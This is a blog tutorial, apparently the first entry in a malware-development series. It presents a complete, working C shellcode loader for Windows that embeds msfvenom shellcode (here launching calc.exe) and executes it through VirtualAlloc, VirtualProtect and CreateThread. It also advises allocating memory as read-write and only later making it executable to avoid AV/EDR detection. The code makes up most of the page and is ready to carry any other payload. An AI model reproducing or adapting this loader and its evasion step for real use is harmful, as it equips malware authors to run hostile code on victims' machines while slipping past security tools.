1273 words
6 minutes
0x00 - Simple Shellcode Loader with C

In this module, we’re gonna write a simple shellcode loader also known as local shellcode injection using C and Win32 API. If I get enough free time, I’ll continue this as a malware development series. So let’s start with a basic one.

To load our shellcode (from msfvenom), we’re gonna need these window APIs.

What is Win32 API?#

For those who doesn’t know yet what Win32 API is, Win32 API is the set of low level windows functions that let the software control things like windows, files, memory, and devices. It’s how programs interact with the windows operating system behind the scenes.

Before we get started, let’s review the code first to get clear vision.

shellcodeloader.c
#include <windows.h>
#include <stdio.h>
// calc.exe shellcode from msfvenom
unsigned char shellcode[] = {
0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51,
0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52,
0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x72,
0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41,
0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B,
0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44,
0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41,
0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xF1,
0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44,
0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44,
0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01,
0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58, 0x41, 0x59,
0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41,
0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48,
0xBA, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D,
0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5,
0xBB, 0xE0, 0x1D, 0x2A, 0x0A, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF,
0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0,
0x75, 0x05, 0xBB, 0x47, 0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89,
0xDA, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x00
};
int main() {
SIZE_T shellcodeSize = sizeof(shellcode);
printf("[+] Shellcode size: %zu bytes\n", shellcodeSize);
// allocating memory
PVOID pShellcodeAddress = VirtualAlloc(NULL,shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (pShellcodeAddress == NULL) {
printf("[-] Failed to allocate memory\n");
return -1;
}
printf("[+] Memory allocated at: 0x%p\n", pShellcodeAddress);
// copy shellcode to executable memory
// we can use a simple memcpy here
// memcpy(pShellcodeAddress, shellcode, shellcodeSize);
RtlMoveMemory(pShellcodeAddress, shellcode, shellcodeSize);
printf("[+] Copied shellcode to: 0x%p\n", pShellcodeAddress);
printf("[+] Changed memory region to: PAGE_EXECUTE_READWRITE\n");
DWORD dwOldProtection = NULL;
if (!VirtualProtect(pShellcodeAddress, shellcodeSize, PAGE_EXECUTE_READWRITE, &dwOldProtection)) {
printf("[!] VirtualProtect Failed With Error : %d \n", GetLastError());
return -1;
}
printf("[*] Creating new thread\n");
// create a new thread to execute the shellcode
HANDLE hThread = CreateThread(NULL, 0, pShellcodeAddress,NULL,0,NULL);
if (hThread == NULL) {
printf("[!] CreateThread Failed With Error : %d \n", GetLastError());
return -1;
}
// wait for the thread to finish execution
WaitForSingleObject(hThread, INFINITE);
// cleaning up
CloseHandle(hThread);
VirtualFree(pShellcodeAddress, 0, MEM_RELEASE);
printf("[+] Done");
return 0;
}

Allocating Memory#

The first thing we need to do is to allocate memory region for our shellcode with VirtualAlloc. If you don’t know what VirtualAlloc does and what kind of parameters its has, we can search in google like VirtualAlloc msdn. So it will show the whole microsoft documentation of that related API. For example:

LPVOID VirtualAlloc(
[in, optional] LPVOID lpAddress,
[in] SIZE_T dwSize,
[in] DWORD flAllocationType,
[in] DWORD flProtect
);

Before we look at the parameters, you’ll see tags like [in] or [out]. [in] means we must provide a value for that parameter. [out] means the function will give us a value back through that parameter.

And you might notice some of window data types throughout the series such as LPVOID, PVOID, SIZE_T, BOOL, HANDLE and many more. We just have to declare base on the type of our variables. You can learn it more from MSDN page.

That’s why we used pShellcodeAddress as a PVOID or LPVOID and shellcodeSize as a SIZE_T in here.

  • lpAddress is the starting address where we want our memory block to begin. We used NULL, so windows will pick the location automatically by itself.

  • dwSize is the size of our shellcode that we declared in line number 9.

  • For flAllocationType, we used MEM_COMMIT | MEM_RESERVE. So what are these? You can also read details in MSDN page. For now, MEM_RESERVE is like make a reservation a memory space to use later. MEM_COMMIT is like I’m gonna use that reserved space. To be clear :

    • MEM_RESERVE = “I’ll need this space later”
    • MEM_COMMIT = “I’m putting my stuff here now”
    • MEM_COMMIT | MEM_RESERVE = “I need space with stuff right now”
  • flProtect is like what we are allowed to do with that memory region. For example, can we have read access, write access or execute it as a code? It has multiple values in MSDN page like

    • PAGE_EXECUTE
    • PAGE_EXECUTE_READ
    • PAGE_EXECUTE_READWRITE
    • PAGE_READONLY
    • And more

We could simply just pass PAGE_EXECUTE_READWRITE to VirtualAlloc, but doing this is a major red flag for AV/EDR. For best practice as a malware developer, we allocate the memory as PAGE_READWRITE first, and then change it to executable using VirtualProtect.

So, If our function succeeds, the return value is the base address of the allocated region of pages. (How to know? from MSDN page for sure). If NULL, it failed to allocate. We can handle the error like this:

if (pShellcodeAddress == NULL) {
printf("\t[!] VirtualAlloc Failed With Error : %d \n", GetLastError());
return FALSE;
}
// we can also use a simple memcpy here
// memcpy(pShellcodeAddress, shellcode, shellcodeSize);

Moving Shellcode#

Now that we have allocated a memory region for our shellcode, the next step is to copy the shellcode into that buffer using RtlMoveMemory.

Syntax from MSDN

VOID RtlMoveMemory(
_Out_       VOID UNALIGNED *Destination,
_In_  const VOID UNALIGNED *Source,
_In_        SIZE_T         Length
);

Destination is the address returned by VirtualAlloc. Source will be our shellcode and Length is the total size of the shellcode.

RtlMoveMemory(pShellcodeAddress, shellcode, shellcodeSize);

After moving the shellcode, we need to change the memory region to be executable using VirtualProtect.

Syntax from MSDN

BOOL VirtualProtect(
[in] LPVOID lpAddress,
[in] SIZE_T dwSize,
[in] DWORD flNewProtect,
[out] PDWORD lpflOldProtect
);

As you can see lpflOldProtect is [out]. This is required because VirtualProtect must return the previous memory protection for that region. If the function succeed, the return value will be nonzero.

DWORD dwOldProtection = NULL;
if (!VirtualProtect(pShellcodeAddress, shellcodeSize, PAGE_EXECUTE_READWRITE, &dwOldProtection)) {
printf("[!] VirtualProtect Failed With Error : %d \n", GetLastError());
return -1;
}

Then we need to create a new thread to execute the shellcode. In this case, we’re going to use CreateThread API to create a thread.

HANDLE CreateThread(
[in, optional] LPSECURITY_ATTRIBUTES lpThreadAttributes,
[in] SIZE_T dwStackSize,
[in] LPTHREAD_START_ROUTINE lpStartAddress,
[in, optional] __drv_aliasesMem LPVOID lpParameter,
[in] DWORD dwCreationFlags,
[out, optional] LPDWORD lpThreadId
);

We will use our pShellcodeAddress as the lpStartAddress for the new thread and the other parameters can be set to NULL.

HANDLE hThread = CreateThread(NULL, 0, pShellcodeAddress,NULL,0,NULL);
if (hThread == NULL) {
printf("\t[!] CreateThread Failed With Error : %d \n", GetLastError());
return FALSE;
}
WaitForSingleObject(hThread, INFINITE);

WaitForSingleObject is to wait the thread to finish execution.

Deallocating Memory#

Now the last things to do is to clean up the allocated memory using VirtualFree.

CloseHandle(hThread);
VirtualFree(pShellcodeAddress, 0, MEM_RELEASE);

So let’s just run our code in visual studio and you can see it will pop up calc.exe.

0x00 - Simple Shellcode Loader with C
https://k0shane.github.io/posts/maldev/0x0-basic-shellcode-injection/
Author
k0shane
Published at
2025-11-15
License
SHANE